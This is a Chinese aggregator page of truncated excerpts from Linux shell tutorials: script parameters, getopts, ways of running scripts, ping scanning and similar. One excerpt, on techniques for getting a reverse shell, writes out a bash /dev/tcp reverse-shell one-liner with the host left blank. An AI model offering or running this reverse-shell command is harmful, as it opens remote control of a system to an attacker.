Linux Shell 参数传递多种方式】的更多相关文章

背景 最近编写ansible脚本,需要自动调用之前写好的shell脚本,由于shell脚本中包含了read命令接收用户的手动输入,为了实现ansible脚本的自动运行,不得不将手动输入转换为自动输入.以下为常见的两种场景: read命令接收输入 #!/bin/sh #file name start.sh echo "please input name" read name echo "please intput pssword" read password echo…
前言 Linux操作系统没有Window操作系统界面友好,使用者需要使用命令与系统进行交互,交互媒介为shell终端. 有三种方式可以打开终端: 方法一: 打开新的窗口并打开shell终端,快捷键:ctrl + alt + t 方法二: 同一窗口打开shell终端,快捷键:ctrl + shift + t 方法三: 打开新的窗口并且在相同路径打开shell终端,快捷键:ctrl + shift + n   使用exit即可退出; clear; 完…
./ ping.sh 这个意思 ,'./'的意思是在当前目录执行, ping.sh----------------------------------------------------------------------bash shell 脚本的方法有多种,现在作个小结.假设我们编写好的shell脚本的文件名为hello.sh,文件位置在/data/shell目录中并已有执行权限. 方法一:切换到shell脚本所在的目录(此时,称为工作目录)执行shell脚本: 复制代码 代码如下: cd…
在shell编程时.可以使用参数.Shell有位置参数和内部参数 1. 位置参数 由系统提供的参数称为位置参数.位置参数的值可以用$N得到,N是一个数字,如果为1,即$1.类似C语言中的数组,Linux会把输入的命令字符串分段并给每段进行标号,标号从0开始.第0号为程序名字,从1开始就表示传递给程序的参数.如$0表示程序的名字,$1表示传递给程序的第一个参数,以此类推.   2. 内部参数 上述过程中的$0是一个内部变量,它是必须的,而$1则可有可无.和$0一样的内部变量还有以下几个. $# -…
Shell 传参的多种方式 使用$1 $2 这种类似占位符的方式 # 命令行调用 start.sh 8080 9090 # 脚本中获取 port1=$1 # 8080 port2=$2 # 9090 可以看出来这种方式使用起来很简单,但灵活性太差,比如我只想传第二个参数,第一个使用默认值,这个就不行,所以就有第二种,指定参数传递 指定参数 getopts(shell内置命令) #命令行调用 start.sh -a 8080 -b 9090 # 脚本中获取 while getopts "d:b:h…
linux shell执行有两种方式 shell脚本以#!/bin/bash开头,执行shell时先检查首行,在内部以下列方式执行: $/bin/bash script.sh 1. 使用sh执行. $sh script.sh #脚本位于当前目录下 或者 $sh /home/path/script.sh #使用完整路径 2. 独立运行脚本. 需要具备可执行权限,可以通过下面的方式设置 $chmod a+x script.sh 或者 $chmod 755 script.sh 然后可以通过下列方式执行…
今日分享:我们在肉体的疾病方面花了不少钱,精神的病害方面却没有花什么,现在已经到了时候,我们应该有不平凡的学校.--<瓦尔登湖> 前言 我们都知道,在linux删除一个文件可以使用rm命令,但是有一些特殊名称的文件使用普通的rm方式却没法删除,本文介绍linux中删除特殊名称文件的多种方式. linux文件命名规则 在介绍之前,简单说明一下linux中文件命名规则.文件或目录名由除“/”和空字符“\0”之外的任意ASCII字符序列组成.当然很多操作系统允许更多类型的字符组成文件名.但对于我们来…
概述 shell 的执行方式 背景 偶尔执行个 shell 脚本 一般都用 './script' 执行 最近忽然看到 有不同的执行方式, 感觉有必要整理一下, 然后和大家分享 准备 os centos7 shell bash 1. shell 脚本的普通执行 shell 脚本执行 最常用的执行方式 > cd <path/to/scriptDir> > ./<script> [option and args] 其实 shell 脚本, 还有 其他的 执行方式 2. 其他的…
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目…
本文中的脚本适用范围: 1)检测某些IP地址是否被占用: 2)检测网络中某些设备是否存活: 3)在分配新的ip地址之前,批量检测环境中是否存在冲突的机器 以上检测基于ICMP Ping报文,要求所有的设备允许Ping,设备开通禁止ICMP策略,防火墙禁止ICMP报文等情况不在本文的考虑范围之内. 不多说,上代码: (一)windows 批处理脚本 ::autor lb ::date 2018 05 @echo off ::屏显当前的测试时间并输出到测试结果(详细日志和结果日志) echo %da…